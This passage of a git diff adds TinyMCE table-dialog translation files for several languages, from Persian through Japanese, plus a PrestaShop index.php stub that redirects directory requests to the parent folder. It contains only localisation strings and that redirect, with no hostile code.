\u062c\u062f\u0648\u0644",td:"\u062f\u0627\u062f\u0647",summary:"\u062e\u0644\u0627\u0635\u0647",bgimage:"\u062a\u0635\u0648\u06cc\u0631 \u0632\u0645\u06cc\u0646\u0647",rtl:"\u0631\u0627\u0633\u062a \u0628\u0647 \u0686\u067e",ltr:"\u0686\u067e \u0628\u0647 \u0631\u0627\u0633\u062a",mime:"\u0646\u0648\u0639 MIME \u0645\u0642\u0635\u062f (Target)",langcode:"\u06a9\u062f \u0632\u0628\u0627\u0646",langdir:"\u062c\u0647\u062a \u0632\u0628\u0627\u0646",style:"\u0627\u0633\u062a\u06cc\u0644",id:"\u0634\u0646\u0627\u0633\u0647","merge_cells_title":"\u0627\u062f\u063a\u0627\u0645 \u0633\u0644\u0648\u0644 \u0647\u0627\u06cc \u062c\u062f\u0648\u0644",bgcolor:"\u0631\u0646\u06af \u0632\u0645\u06cc\u0646\u0647",bordercolor:"\u0631\u0646\u06af \u062d\u0627\u0634\u06cc\u0647","align_bottom":"\u067e\u0627\u06cc\u06cc\u0646","align_top":"\u0628\u0627\u0644\u0627",valign:"\u062a\u0631\u0627\u0632 \u0639\u0645\u0648\u062f\u06cc","cell_type":"\u0646\u0648\u0639 \u0633\u0644\u0648\u0644","cell_title":"\u0645\u0634\u062e\u0635\u0627\u062a \u0633\u0644\u0648\u0644 \u062c\u062f\u0648\u0644","row_title":"\u0645\u0634\u062e\u0635\u0627\u062a \u0633\u0637\u0631 \u062c\u062f\u0648\u0644","align_middle":"\u0648\u0633\u0637","align_right":"\u0631\u0627\u0633\u062a","align_left":"\u0686\u067e","align_default":"\u067e\u06cc\u0634\u0641\u0631\u0636",align:"\u062a\u0631\u0627\u0632",border:"\u062d\u0627\u0634\u06cc\u0647",cellpadding:"\u0644\u0627\u06cc\u0647 \u06af\u0630\u0627\u0631\u06cc \u0633\u0644\u0648\u0644 \u0647\u0627",cellspacing:"\u0641\u0627\u0635\u0644\u0647 \u0633\u0644\u0648\u0644 \u0647\u0627",rows:"\u0633\u0637\u0631\u0647\u0627",cols:"\u0633\u062a\u0648\u0646 \u0647\u0627",height:"\u0627\u0631\u062a\u0641\u0627\u0639",width:"\u067e\u0647\u0646\u0627",title:"\u062f\u0631\u062c/\u0627\u0635\u0644\u0627\u062d \u062c\u062f\u0648\u0644",rowtype:"\u0633\u0637\u0631 \u062f\u0631 \u0628\u062e\u0634 \u062c\u062f\u0648\u0644","advanced_props":"\u0645\u0634\u062e\u0635\u0627\u062a \u067e\u06cc\u0634\u0631\u0641\u062a\u0647","general_props":"\u0645\u0634\u062e\u0635\u0627\u062a \u0639\u0645\u0648\u0645\u06cc","advanced_tab":"\u067e\u06cc\u0634\u0631\u0641\u062a\u0647","general_tab":"\u0639\u0645\u0648\u0645\u06cc","cell_col":"\u0628\u0631\u0648\u0632 \u0631\u0633\u0627\u0646\u06cc \u062a\u0645\u0627\u0645 \u0633\u0644\u0648\u0644\u200c\u0647\u0627 \u062f\u0631 \u0633\u062a\u0648\u0646"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/table/langs/fi_dlg.js b/js/tiny_mce2/plugins/table/langs/fi_dlg.js new file mode 100755 index 0000000..87ed836 --- /dev/null +++ b/js/tiny_mce2/plugins/table/langs/fi_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fi.table_dlg',{"rules_border":"kehys","rules_box":"laatikko","rules_vsides":"pystysuorat reunat","rules_rhs":"rhs","rules_lhs":"lhs","rules_hsides":"vaakasuorat reunat","rules_below":"alapuoli","rules_above":"yl\u00e4puoli","rules_void":"tyhj\u00e4",rules:"S\u00e4\u00e4nn\u00f6t","frame_all":"kaikki","frame_cols":"sarakkeet","frame_rows":"rivit","frame_groups":"ryhm\u00e4t","frame_none":"ei mit\u00e4\u00e4n",frame:"kehys",caption:"Taulukon seloste","missing_scope":"Haluatko varmasti jatkaa m\u00e4\u00e4ritt\u00e4m\u00e4tt\u00e4 tilaa t\u00e4lle taulukon otsakesolulle? Ilman sit\u00e4 joidenkin k\u00e4ytt\u00e4jien voi olla vaikea ymm\u00e4rt\u00e4\u00e4 taulukon sis\u00e4lt\u00e4m\u00e4\u00e4 informaatiota.","cell_limit":"Olet ylitt\u00e4nyt suurimman sallitun m\u00e4\u00e4r\u00e4n soluja {$cells}.","row_limit":"Olet ylitt\u00e4nyt suurimman sallitun m\u00e4\u00e4r\u00e4n rivej\u00e4 {$rows}.","col_limit":"Olet ylitt\u00e4nyt suurimman sallitun m\u00e4\u00e4r\u00e4n sarakkeita {$cols}.",colgroup:"Sarake ryhm\u00e4",rowgroup:"Rivi ryhm\u00e4",scope:"Tila",tfoot:"Taulukon alaosa",tbody:"Taulukon runko",thead:"Taulukon otsake","row_all":"P\u00e4ivit\u00e4 kaikki taulukon rivit","row_even":"P\u00e4ivit\u00e4 taulukon parilliset rivit","row_odd":"P\u00e4ivit\u00e4 taulukon parittomat rivit","row_row":"P\u00e4ivit\u00e4 rivi","cell_all":"P\u00e4ivit\u00e4 kaikki taulukon solut","cell_row":"P\u00e4ivit\u00e4 kaikki rivin solut","cell_cell":"P\u00e4ivit\u00e4 solu",th:"Otsake",td:"Tietue",summary:"Yhteenveto",bgimage:"Taustakuva",rtl:"Oikealta vasemmalle",ltr:"Vasemmalta oikealle",mime:"Kohteen MIME-tyyppi",langcode:"Kielen koodi",langdir:"Kielen suunta",style:"Tyyli",id:"Id","merge_cells_title":"Yhdist\u00e4 taulukon solut",bgcolor:"Taustan v\u00e4ri",bordercolor:"Kehyksen v\u00e4ri","align_bottom":"Alas","align_top":"Yl\u00f6s",valign:"Pystysuunnan tasaus","cell_type":"Solun tyyppi","cell_title":"Taulukon solun asetukset","row_title":"Taulukon rivin asetukset","align_middle":"Keskitetty","align_right":"Oikea","align_left":"Vasen","align_default":"Oletus",align:"Tasaus",border:"Kehys",cellpadding:"Solun tyhj\u00e4 tila",cellspacing:"Solun v\u00e4li",rows:"Rivit",cols:"Sarakkeet",height:"Korkeus",width:"Leveys",title:"Lis\u00e4\u00e4/muokkaa taulukkoa",rowtype:"Rivi taulukon osassa","advanced_props":"Edistyneet asetukset","general_props":"Yleiset asetukset","advanced_tab":"Edistynyt","general_tab":"Yleiset","cell_col":"P\u00e4ivit\u00e4 kaikki sarakkeen solut"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/table/langs/fr_dlg.js b/js/tiny_mce2/plugins/table/langs/fr_dlg.js new file mode 100755 index 0000000..9f9488a --- /dev/null +++ b/js/tiny_mce2/plugins/table/langs/fr_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fr.table_dlg',{"rules_border":"bordure","rules_box":"bo\u00eete","rules_vsides":"verticales","rules_rhs":"\u00e0 droite","rules_lhs":"\u00e0 gauche","rules_hsides":"horizontales","rules_below":"au-dessous","rules_above":"au-dessus","rules_void":"aucune",rules:"R\u00e8gles","frame_all":"tous","frame_cols":"colonnes","frame_rows":"lignes","frame_groups":"groupe","frame_none":"aucun",frame:"Cadre",caption:"Afficher la l\u00e9gende du tableau","missing_scope":"\u00cates-vous s\u00fbr de vouloir continuer sans sp\u00e9cifier de port\u00e9e pour cette cellule de titre ? Sans port\u00e9e, cela peut \u00eatre difficile pour certains utilisateurs de comprendre le contenu ou les donn\u00e9es affich\u00e9es dans le tableau.","cell_limit":"Vous avez d\u00e9pass\u00e9 le nombre maximum de cellules ({$cells}).","row_limit":"Vous avez d\u00e9pass\u00e9 le nombre maximum de lignes ({$rows}).","col_limit":"Vous avez d\u00e9pass\u00e9 le nombre maximum de colonnes ({$cols}).",colgroup:"Groupe de colonnes",rowgroup:"Groupe de lignes",scope:"Port\u00e9e",tfoot:"Pied de tableau",tbody:"Corps de tableau",thead:"En-t\u00eates de tableau","row_all":"Mettre \u00e0 jour toutes les lignes du tableau","row_even":"Mettre \u00e0 jour les lignes paires","row_odd":"Mettre \u00e0 jour les lignes impaires","row_row":"Mettre \u00e0 jour la ligne courante","cell_all":"Mettre \u00e0 jour toutes les cellules du tableau","cell_row":"Mettre \u00e0 jour toutes les cellules de la ligne","cell_cell":"Mettre \u00e0 jour la cellule courante",th:"Titre",td:"Donn\u00e9es",summary:"R\u00e9sum\u00e9",bgimage:"Image de fond",rtl:"de droite \u00e0 gauche",ltr:"De gauche \u00e0 droite",mime:"Type MIME de la cible",langcode:"Code de la langue",langdir:"Sens de lecture",style:"Style",id:"Id","merge_cells_title":"Fusionner les cellules",bgcolor:"Couleur du fond",bordercolor:"Couleur de la bordure","align_bottom":"Bas","align_top":"Haut",valign:"Alignement vertical","cell_type":"Type de cellule","cell_title":"Propri\u00e9t\u00e9s de la cellule","row_title":"Propri\u00e9t\u00e9s de la ligne","align_middle":"Centr\u00e9","align_right":"Droite","align_left":"Gauche","align_default":"Par d\u00e9faut",align:"Alignement",border:"Bordure",cellpadding:"Espacement dans les cellules",cellspacing:"Espacement entre les cellules",rows:"Lignes",cols:"Colonnes",height:"Hauteur",width:"Largeur",title:"Ins\u00e9rer / modifier un tableau",rowtype:"Type de ligne","advanced_props":"Propri\u00e9t\u00e9s avanc\u00e9es","general_props":"Propri\u00e9t\u00e9s g\u00e9n\u00e9rales","advanced_tab":"Avanc\u00e9","general_tab":"G\u00e9n\u00e9ral","cell_col":"Mettre \u00e0 jour toutes les cellules de la colonne"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/table/langs/gl_dlg.js b/js/tiny_mce2/plugins/table/langs/gl_dlg.js new file mode 100755 index 0000000..c992348 --- /dev/null +++ b/js/tiny_mce2/plugins/table/langs/gl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('gl.table_dlg',{"rules_border":"borde","rules_box":"box","rules_vsides":"vsides","rules_rhs":"rhs","rules_lhs":"lhs","rules_hsides":"hsides","rules_below":"debaixo","rules_above":"encima","rules_void":"vac\u00edo",rules:"Regras","frame_all":"todos","frame_cols":"columnas","frame_rows":"filas","frame_groups":"grupos","frame_none":"ning\u00fan",frame:"Recadro",caption:"Subt\u00edtulo da t\u00e1boa","missing_scope":"\u00bfEst\u00e1 seguro que desexa continuar sen especifica-lo \u00e1mbito do encabezado de celda? Sen \u00e9l podr\u00eda ser dificultoso pra algunos usuarios entende-lo contido ou os datos mostrados na t\u00e1boa.","cell_limit":"Super\u00f3u o n\u00famero m\u00e1ximo de celdas: {$cells}.","row_limit":"Super\u00f3u o n\u00famero m\u00e1ximo de filas: {$rows}.","col_limit":"Super\u00f3u o n\u00famero m\u00e1ximo de columnas: {$cols}.",colgroup:"Grupo de columnas",rowgroup:"Grupo de filas",scope:"\u00c1mbito",tfoot:"Pe da t\u00e1boa",tbody:"Corpo da t\u00e1boa",thead:"Encabezamento da t\u00e1boa","row_all":"Actualizar todalas filas","row_even":"Actualizar filas pares","row_odd":"Actualizar filas impares","row_row":"Actualizar fila actual","cell_all":"Actualizar todalas celdas na t\u00e1boa","cell_row":"Actualizar todalas celdas na fila","cell_cell":"Actualizar celda actual",th:"Encabezamento",td:"Datos",summary:"Resumen",bgimage:"Imaxe de fondo",rtl:"Dereita a esquerda",ltr:"Esquerda a dereita",mime:"Tipo MIME",langcode:"C\u00f3digo da lenguaxe",langdir:"Direcci\u00f3n da lenguaxe",style:"Estilo",id:"Id","merge_cells_title":"Unir celdas",bgcolor:"Cor de fondo",bordercolor:"Cor do borde","align_bottom":"Abaixo","align_top":"Arriba",valign:"Ali\u00f1aci\u00f3n vertical","cell_type":"Tipo de celda","cell_title":"Propiedades da celda","row_title":"Propiedades da fila","align_middle":"Centrado","align_right":"Dereita","align_left":"Esquerda","align_default":"Predet.",align:"Ali\u00f1aci\u00f3n",border:"Borde",cellpadding:"Relleno de celda",cellspacing:"Espaciado de celda",rows:"Filas",cols:"Cols",height:"Alto",width:"Ancho",title:"Insertar/Modificar t\u00e1boa",rowtype:"Tipo de fila","advanced_props":"Propiedades avanzadas","general_props":"Propiedades xerales","advanced_tab":"Avanzado","general_tab":"Xeral","cell_col":"Update all cells in column"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/table/langs/he_dlg.js b/js/tiny_mce2/plugins/table/langs/he_dlg.js new file mode 100755 index 0000000..25371ea --- /dev/null +++ b/js/tiny_mce2/plugins/table/langs/he_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('he.table_dlg',{"rules_border":"\u05d2\u05d1\u05d5\u05dc","rules_box":"box","rules_vsides":"vsides","rules_rhs":"rhs","rules_lhs":"lhs","rules_hsides":"hsides","rules_below":"\u05de\u05ea\u05d7\u05ea","rules_above":"\u05de\u05e2\u05dc","rules_void":"void",rules:"\u05d7\u05d5\u05e7\u05d9\u05dd","frame_all":"\u05d4\u05db\u05d5\u05dc","frame_cols":"\u05e2\u05de\u05d5\u05d3\u05d5\u05ea","frame_rows":"\u05e9\u05d5\u05e8\u05d5\u05ea","frame_groups":"\u05e7\u05d1\u05d5\u05e6\u05d5\u05ea","frame_none":"\u05dc\u05dc\u05d0",frame:"Frame",caption:"\u05db\u05d5\u05ea\u05e8\u05ea \u05d4\u05d8\u05d1\u05dc\u05d4","missing_scope":"Are you sure you want to continue without specifying a scope for this table header cell. Without it, it may be difficult for some users with disabilities to understand the content or data displayed of the table.","cell_limit":"\u05d7\u05e8\u05d9\u05d2\u05d4 \u05de\u05de\u05e1\u05e4\u05e8 \u05d4\u05de\u05e7\u05e1\u05d9\u05de\u05d0\u05dc\u05d9 \u05e9\u05dc \u05d4\u05ea\u05d0\u05d9\u05dd \u05d1\u05d8\u05d1\u05dc\u05d4 \u05e9\u05dc {$cells}.","row_limit":"\u05d7\u05e8\u05d9\u05d2\u05d4 \u05de\u05de\u05e1\u05e4\u05e8 \u05d4\u05de\u05e7\u05e1\u05d9\u05de\u05d0\u05dc\u05d9 \u05e9\u05dc \u05d4\u05e9\u05d5\u05e8\u05d5\u05ea \u05e9\u05dc {$rows}.","col_limit":"\u05d7\u05e8\u05d9\u05d2\u05d4 \u05de\u05de\u05e1\u05e4\u05e8 \u05d4\u05e2\u05de\u05d5\u05d3\u05d5\u05ea \u05d4\u05de\u05e7\u05e1\u05d9\u05de\u05d0\u05dc\u05d9 \u05e9\u05dc {$cols}.",colgroup:"Col Group",rowgroup:"Row Group",scope:"Scope",tfoot:"\u05e9\u05d5\u05e8\u05d4 \u05ea\u05d7\u05ea\u05d9\u05ea",tbody:"\u05e9\u05d5\u05e8\u05d4 \u05e8\u05d2\u05d9\u05dc\u05d4",thead:"\u05e9\u05d5\u05e8\u05ea \u05db\u05d5\u05ea\u05e8\u05ea","row_all":"\u05e2\u05d3\u05db\u05d5\u05df\u05db\u05dc \u05d4\u05e9\u05d5\u05e8\u05d5\u05ea \u05d1\u05d8\u05d1\u05dc\u05d4","row_even":"\u05e2\u05d3\u05db\u05d5\u05df \u05e9\u05d5\u05e8\u05d5\u05ea \u05d6\u05d5\u05d2\u05d9\u05d5\u05ea \u05d1\u05d8\u05d1\u05dc\u05d4","row_odd":"\u05e2\u05d3\u05db\u05d5\u05df \u05e9\u05d5\u05e8\u05d5\u05ea \u05d0\u05d9-\u05d6\u05d5\u05d2\u05d9\u05d5\u05ea \u05d1\u05d8\u05d1\u05dc\u05d4","row_row":"\u05e2\u05d3\u05db\u05d5\u05df \u05e9\u05d5\u05e8\u05d4 \u05e0\u05d5\u05db\u05d7\u05d9\u05ea","cell_all":"\u05e2\u05d3\u05db\u05d5\u05df \u05db\u05dc \u05ea\u05d0\u05d9 \u05d4\u05d8\u05d1\u05dc\u05d4","cell_row":"\u05e2\u05d3\u05db\u05d5\u05df \u05db\u05dc \u05ea\u05d0\u05d9 \u05d4\u05e9\u05d5\u05e8\u05d4","cell_cell":"\u05e2\u05d3\u05db\u05d5\u05df \u05ea\u05d0 \u05e0\u05d5\u05db\u05d7\u05d9",th:"\u05db\u05d5\u05ea\u05e8\u05ea",td:"\u05ea\u05d0 \u05de\u05d9\u05d3\u05e2",summary:"\u05ea\u05de\u05e6\u05d9\u05ea",bgimage:"\u05ea\u05de\u05d5\u05e0\u05ea \u05e8\u05e7\u05e2",rtl:"\u05de\u05d9\u05de\u05d9\u05df \u05dc\u05e9\u05de\u05d0\u05dc",ltr:"\u05de\u05e9\u05de\u05d0\u05dc \u05dc\u05d9\u05de\u05d9\u05df",mime:"Target MIME type",langcode:"\u05e7\u05d5\u05d3 \u05d4\u05e9\u05e4\u05d4",langdir:"\u05db\u05d9\u05d5\u05d5\u05df \u05d4\u05e9\u05e4\u05d4",style:"\u05e2\u05d9\u05e6\u05d5\u05d1",id:"Id","merge_cells_title":"\u05d0\u05d7\u05d3 \u05ea\u05d0\u05d9\u05dd \u05d1\u05d8\u05d1\u05dc\u05d4",bgcolor:"\u05e6\u05d1\u05e2 \u05d4\u05e8\u05e7\u05e2",bordercolor:"\u05e6\u05d1\u05e2 \u05d4\u05d2\u05d1\u05d5\u05dc","align_bottom":"\u05ea\u05d7\u05ea\u05d9\u05ea","align_top":"\u05e2\u05dc\u05d9\u05d5\u05df",valign:"\u05d9\u05e9\u05d5\u05e8 \u05d0\u05e0\u05db\u05d9","cell_type":"\u05e1\u05d2\u05e0\u05d5\u05df \u05d4\u05ea\u05d0","cell_title":"\u05ea\u05db\u05d5\u05e0\u05d5\u05ea \u05ea\u05d0 \u05d1\u05d8\u05d1\u05dc\u05d4","row_title":"\u05ea\u05db\u05d5\u05e0\u05d5\u05ea \u05e9\u05d5\u05e8\u05d4 \u05d1\u05d8\u05d1\u05dc\u05d4","align_middle":"\u05d0\u05de\u05e6\u05e2","align_right":"\u05dc\u05d9\u05de\u05d9\u05df","align_left":"\u05dc\u05e9\u05de\u05d0\u05dc","align_default":"Default",align:"\u05d9\u05e9\u05d5\u05e8 \u05d0\u05d5\u05e4\u05e7\u05d9",border:"\u05d2\u05d1\u05d5\u05dc",cellpadding:"Cellpadding",cellspacing:"Cellspacing",rows:"\u05e9\u05d5\u05e8\u05d5\u05ea",cols:"\u05e2\u05de\u05d5\u05d3\u05d5\u05ea",height:"\u05d2\u05d5\u05d1\u05d4",width:"\u05e8\u05d5\u05d7\u05d1",title:"\u05d4\u05d5\u05e1\u05e4\u05ea/\u05e2\u05e8\u05d9\u05db\u05ea \u05d8\u05d1\u05dc\u05d4",rowtype:"\u05e1\u05d5\u05d2 \u05d4\u05e9\u05d5\u05e8\u05d4 \u05d1\u05d8\u05d1\u05dc\u05d4","advanced_props":"\u05ea\u05db\u05d5\u05e0\u05d5\u05ea \u05de\u05ea\u05e7\u05d3\u05de\u05d5\u05ea","general_props":"\u05ea\u05db\u05d5\u05e0\u05d5\u05ea \u05db\u05dc\u05dc\u05d9\u05d5\u05ea","advanced_tab":"\u05de\u05ea\u05e7\u05d3\u05dd","general_tab":"\u05db\u05dc\u05dc\u05d9","cell_col":"\u05e2\u05d3\u05db\u05df \u05d0\u05ea \u05db\u05dc \u05d4\u05ea\u05d0\u05d9\u05dd \u05d1\u05d8\u05d5\u05e8"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/table/langs/hu_dlg.js b/js/tiny_mce2/plugins/table/langs/hu_dlg.js new file mode 100755 index 0000000..518c3ad --- /dev/null +++ b/js/tiny_mce2/plugins/table/langs/hu_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('hu.table_dlg',{"rules_border":"keret","rules_box":"doboz","rules_vsides":"f. oldalak","rules_rhs":"rhs","rules_lhs":"lhs","rules_hsides":"v. oldalak","rules_below":"alatta","rules_above":"f\u00f6l\u00f6tte","rules_void":"sehol",rules:"Vonalak","frame_all":"mind","frame_cols":"oszlopok","frame_rows":"sorok","frame_groups":"csoportok","frame_none":"nincs",frame:"Keret",caption:"C\u00edmsor","missing_scope":"Biztosan folytatni akarja an\u00e9lk\u00fcl, hogy hat\u00f3k\u00f6rt adna ennek a fejl\u00e9ccell\u00e1nak? Korl\u00e1toz\u00e1sokkal \u00e9l\u0151k sz\u00e1m\u00e1ra neh\u00e9z lesz meg\u00e9rteni a t\u00e1bl\u00e1zat tartalm\u00e1t.","cell_limit":"T\u00fall\u00e9pte a maxim\u00e1lis cellasz\u00e1mot, ami {$cells}.","row_limit":"T\u00fall\u00e9pte a maxim\u00e1lis sorsz\u00e1mot, ami {$rows}.","col_limit":"T\u00fall\u00e9pte a maxim\u00e1lis oszlopsz\u00e1mot, ami {$cols}.",colgroup:"Oszlop csoport",rowgroup:"Sor csoport",scope:"Hat\u00f3k\u00f6r",tfoot:"T\u00e1bl\u00e1zat l\u00e1bl\u00e9c",tbody:"T\u00e1bl\u00e1zat tartalom",thead:"T\u00e1bl\u00e1zat fejl\u00e9c","row_all":"Minden sor friss\u00edt\u00e9se","row_even":"P\u00e1ros sorok friss\u00edt\u00e9se","row_odd":"P\u00e1ratlan sorok friss\u00edt\u00e9se","row_row":"Sor friss\u00edt\u00e9se","cell_all":"T\u00e1bl\u00e1zat \u00f6sszes cell\u00e1j\u00e1nak friss\u00edt\u00e9se","cell_row":"Sor \u00f6sszes cell\u00e1j\u00e1nak friss\u00edt\u00e9se","cell_cell":"Cella friss\u00edt\u00e9se",th:"Fejl\u00e9c",td:"Adat",summary:"\u00d6sszegz\u00e9s",bgimage:"H\u00e1tt\u00e9rk\u00e9p",rtl:"Jobbr\u00f3l balra",ltr:"Balr\u00f3l jobbra",mime:"C\u00e9l MIME t\u00edpus",langcode:"Nyelvk\u00f3d",langdir:"\u00cdr\u00e1s ir\u00e1ny",style:"St\u00edlus",id:"Id","merge_cells_title":"Cell\u00e1k \u00f6sszevon\u00e1sa",bgcolor:"H\u00e1tt\u00e9rsz\u00edn",bordercolor:"Keretsz\u00edn","align_bottom":"Le","align_top":"Fel",valign:"F\u00fcgg\u0151leges igaz\u00edt\u00e1s","cell_type":"Cellat\u00edpus","cell_title":"Cella tulajdons\u00e1gai","row_title":"Sor tulajdons\u00e1gai","align_middle":"K\u00f6z\u00e9pre","align_right":"Jobbra","align_left":"Balra","align_default":"Alap\u00e9rtelmezett",align:"Igaz\u00edt\u00e1s",border:"Keret",cellpadding:"Cella bels\u0151 marg\u00f3",cellspacing:"Cella t\u00e1vols\u00e1g",rows:"Sorok",cols:"Oszlopok",height:"Magass\u00e1g",width:"Sz\u00e9less\u00e9g",title:"T\u00e1bl\u00e1zat besz\u00far\u00e1sa/szerkeszt\u00e9se",rowtype:"Sor a t\u00e1bl\u00e1ban","advanced_props":"Halad\u00f3 tulajdons\u00e1gok","general_props":"\u00c1ltal\u00e1nos tulajdons\u00e1gok","advanced_tab":"Halad\u00f3","general_tab":"\u00c1ltal\u00e1nos","cell_col":"\u00d6sszes cella friss\u00edt\u00e9se az oszlopban"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/table/langs/id_dlg.js b/js/tiny_mce2/plugins/table/langs/id_dlg.js new file mode 100755 index 0000000..e67d2e6 --- /dev/null +++ b/js/tiny_mce2/plugins/table/langs/id_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('id.table_dlg',{"rules_border":"border","rules_box":"box","rules_vsides":"vsides","rules_rhs":"rhs","rules_lhs":"lhs","rules_hsides":"hsides","rules_below":"below","rules_above":"above","rules_void":"void",rules:"Rules","frame_all":"all","frame_cols":"cols","frame_rows":"rows","frame_groups":"groups","frame_none":"none",frame:"Frame",caption:"Table caption","missing_scope":"Yakin ingin melanjutkan tanpa menetapkan cakupan sel header tabel ini. Tanpa itu, mungkin sulit bagi beberapa pengguna yang memiliki keterbatasan untuk memahami isi atau data yang ditampilkan dari tabel.","cell_limit":"Anda telah melebihi jumlah maksimum cell {$cells}.","row_limit":"Anda telah melebihi jumlah maksimum row {$rows}.","col_limit":"Anda telah melebihi jumlah maksimum kolom {$cols}.",colgroup:"Col Group",rowgroup:"Row Group",scope:"Scope",tfoot:"Table Foot",tbody:"Table Body",thead:"Table Head","row_all":"Update all rows in table","row_even":"Update even rows in table","row_odd":"Update odd rows in table","row_row":"Update current row","cell_all":"Update all cells in table","cell_row":"Update all cells in row","cell_cell":"Update current cell",th:"Header",td:"Data",summary:"Summary",bgimage:"Gambar Background",rtl:"Kanan ke kiri",ltr:"Kiri ke kanan",mime:"Target MIME type",langcode:"Kode Bahasa",langdir:"Bahasa",style:"Style",id:"Id","merge_cells_title":"Merge cell tabel",bgcolor:"Warna Background",bordercolor:"Warna Border","align_bottom":"Bawah","align_top":"Atas",valign:"Vertical alignment","cell_type":"Cell type","cell_title":"Properti cell tabel","row_title":"Properti row tabel","align_middle":"Tengah","align_right":"Kanan","align_left":"Kiri","align_default":"Default",align:"Alignment",border:"Border",cellpadding:"Cellpadding",cellspacing:"Cellspacing",rows:"Rows",cols:"Cols",height:"Tinggi",width:"Lebar",title:"Sisipkan/Ubah Tabel",rowtype:"Row in table part","advanced_props":"Properti Advanced","general_props":"Properti Umum","advanced_tab":"Advanced","general_tab":"Umum","cell_col":"Update all cells in column"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/table/langs/index.php b/js/tiny_mce2/plugins/table/langs/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce2/plugins/table/langs/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/table/langs/it_dlg.js b/js/tiny_mce2/plugins/table/langs/it_dlg.js new file mode 100755 index 0000000..2a847ed --- /dev/null +++ b/js/tiny_mce2/plugins/table/langs/it_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('it.table_dlg',{"rules_border":"bordo","rules_box":"box","rules_vsides":"lato vert.","rules_rhs":"rhs","rules_lhs":"lhs","rules_hsides":"lato orizz.","rules_below":"sotto","rules_above":"sopra","rules_void":"vuoto",rules:"Regole","frame_all":"tutte","frame_cols":"colonne","frame_rows":"righe","frame_groups":"gruppi","frame_none":"nessuna",frame:"Cornice",caption:"Didascalia tabella","missing_scope":"Sicuro di proseguire senza aver specificato uno scope per l\'intestazione di questa tabella? Senza di esso, potrebbe essere difficoltoso per alcuni utenti con disabilit\u00e0 capire il contenuto o i dati mostrati nella tabella.","cell_limit":"Superato il numero massimo di celle di {$cells}.","row_limit":"Superato il numero massimo di righe di {$rows}.","col_limit":"Superato il numero massimo di colonne di {$cols}.",colgroup:"Gruppo colonna",rowgroup:"Gruppo riga",scope:"Scope",tfoot:"Pedice tabella",tbody:"Corpo tabella",thead:"Intestazione tabella","row_all":"Update tutte le righe della tabella","row_even":"Aggiorna righe pari della tabella","row_odd":"Aggiorna righe dispari della tabella","row_row":"Aggiorna riga corrente","cell_all":"Aggiorna tutte le celle della tabella","cell_row":"Aggiorna tutte le celle della riga","cell_cell":"Aggiorna cella corrente",th:"Intestazione",td:"Data",summary:"Sommario",bgimage:"Immagine sfondo",rtl:"Destra verso sinistra",ltr:"Sinistra verso destra",mime:"Tipo MIME del target",langcode:"Lingua",langdir:"Direzione testo",style:"Stile",id:"Id","merge_cells_title":"Unisci celle",bgcolor:"Colore sfondo",bordercolor:"Colore bordo","align_bottom":"In basso","align_top":"In alto",valign:"Allineamento verticale","cell_type":"Tipo cella","cell_title":"Propriet\u00e0 cella","row_title":"Propriet\u00e0 riga","align_middle":"Centra","align_right":"A destra","align_left":"A sinistra","align_default":"Predefinito",align:"Allineamento",border:"Bordo",cellpadding:"Padding celle",cellspacing:"Spaziatura celle",rows:"Righe",cols:"Colonne",height:"Altezza",width:"Larghezza",title:"Inserisci/Modifica tabella",rowtype:"Riga in una parte di tabella","advanced_props":"Propriet\u00e0 avanzate","general_props":"Propriet\u00e0 generali","advanced_tab":"Avanzate","general_tab":"Generale","cell_col":"Aggiorna tutte le celle della colonna"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/table/langs/ja_dlg.js b/js/tiny_mce2/plugins/table/langs/ja_dlg.js new file mode 100755 index 0000000..7f7013f --- /dev/null +++ b/js/tiny_mce2/plugins/table/langs/ja_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ja.table_dlg',{"rules_border":"\u67a0\u7dda(\u4e0a\u4e0b\u5de6\u53f3)","rules_box":"\u30dc\u30c3\u30af\u30b9(\u4e0a\u4e0b\u5de6\u53f3)","rules_vsides":"\u5de6\u53f3\u306e\u7e26\u7dda","rules_rhs":"\u53f3\u306e\u7e26\u7dda","rules_lhs":"\u5de6\u306e\u7e26\u7dda","rules_hsides":"\u4e0a\u4e0b\u306e\u6a2a\u7dda","rules_below":"\u4e0b\u306e\u6a2a\u7dda","rules_above":"\u4e0a\u306e\u6a2a\u7dda","rules_void":"\u306a\u3057",rules:"\u8868\u306e\u5916\u67a0","frame_all":"\u3059\u3079\u3066","frame_cols":"\u5217","frame_rows":"\u884c","frame_groups":"\u30b0\u30eb\u30fc\u30d7\u6bce","frame_none":"\u306a\u3057",frame:"\u30bb\u30eb\u306e\u67a0",caption:"\u8868\u306e\u898b\u51fa\u3057","missing_scope":"\u3053\u306e\u8868\u306e\u30d8\u30c3\u30c0\u30fc\u306e\u30bb\u30eb\u306e\u7bc4\u56f2\u3092\u8a2d\u5b9a\u3057\u306a\u3044\u3067\u672c\u5f53\u306b\u7d9a\u3051\u307e\u3059\u304b? 